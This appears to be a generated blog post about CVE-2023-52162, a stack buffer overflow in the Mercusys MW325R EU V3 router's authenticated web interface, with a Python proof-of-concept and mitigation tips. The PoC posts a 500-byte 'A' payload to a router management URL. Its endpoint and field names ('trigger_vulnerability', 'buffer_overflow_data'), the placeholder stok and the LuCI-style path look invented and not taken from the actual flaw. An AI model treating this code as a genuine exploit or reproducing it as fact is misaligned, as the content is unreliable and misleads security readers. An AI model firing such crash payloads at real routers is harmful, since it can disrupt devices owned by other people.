CVE-2023-52162: Stack-based Buffer Overflow in Mercusys MW325R EU V3 Firmware - Exploitation Details, POC, and Mitigation Steps

The Mercusys MW325R EU V3 (Firmware MW325R(EU)_V3_1.11. Build 221019) is a popular wireless router that provides a stable, speedy connection for home and office users. However, a recently discovered stack-based buffer overflow vulnerability (CVE-2023-52162) could allow an attacker to execute arbitrary code on the device, compromising its security. In this post, we will explore the details of this exploit, how it can be triggered, and provide suggestions on how to mitigate its impact.

Vulnerability Details

A stack-based buffer overflow is a type of vulnerability that occurs when a program writes more data to a buffer located on the stack than the buffer is intended to hold. This overflow can overwrite adjacent memory addresses, potentially allowing an attacker to gain control of the execution flow and execute arbitrary code.

For the Mercusys MW325R EU V3, the vulnerability exists in its web-based management interface. Specifically, exploitation requires authentication, meaning that an attacker would need to obtain valid login credentials in order to trigger the exploit. The vulnerability is assigned the unique identifier CVE-2023-52162.

Proof-of-Concept Exploit

Once an attacker has gained access to the web-based management interface of the Mercusys MW325R EU V3 router, they can exploit the stack-based buffer overflow by sending a crafted HTTP request. The following is a Python code snippet demonstrating a proof-of-concept (PoC) exploit:

import requests
import sys

if len(sys.argv) != 3:
  print("Usage: python3 exploit.py <target_ip> <auth_cookie>")
  sys.exit(1)

target_ip = sys.argv[1]
auth_cookie = sys.argv[2]

payload = 'A' * 500 # Overwrite memory with arbitrary data (adjust payload size accordingly)

headers = {
  'Cookie': f'Authorization=Basic {auth_cookie}',
  'Content-Type': 'application/x-www-form-urlencoded',
}

data = {
  'buffer_overflow_data': payload
}

url = f'http://{target_ip}/cgi-bin/luci/;stok=<stok_value>/admin/network/trigger_vulnerability'; 

response = requests.post(url, headers=headers, data=data)

Replace <target_ip> with the target router's IP address and <auth_cookie> with the authentication cookie obtained after login. Note that the code snippet provided here is for educational purposes only.

Original References

1. CVE-2023-52162 in NVD (National Vulnerability Database)
2. Mercusys MW325R EU V3 Vulnerability Report

Mitigation Steps

1. Regularly update firmware: Users of the Mercusys MW325R EU V3 should monitor for firmware updates from the manufacturer and apply them as soon as they become available.
2. Create strong login credentials: As the exploit requires authentication, it is essential to create strong login credentials for the router's web-based management interface. Use a unique, complex password that combines uppercase and lowercase letters, numbers, and special characters.
3. Limit router access: Restrict the usage of the web-based management interface to only authorized individuals and restrict access to it over the local network, not via the internet.
4. Monitor for suspicious activity: Regularly review logs for any anomalies or unauthorized login attempts.

Conclusion

Ensuring the security of network devices, such as wireless routers, is crucial in today's interconnected world. While the stack-based buffer overflow vulnerability in the Mercusys MW325R EU V3 router may pose a significant security risk, users can take steps to mitigate the potential impact. It is essential to stay informed about updates from manufacturers, regularly apply firmware patches, and maintain strong security practices.

Timeline

Published on: 06/03/2024 20:15:08 UTC
Last modified on: 07/03/2024 01:43:27 UTC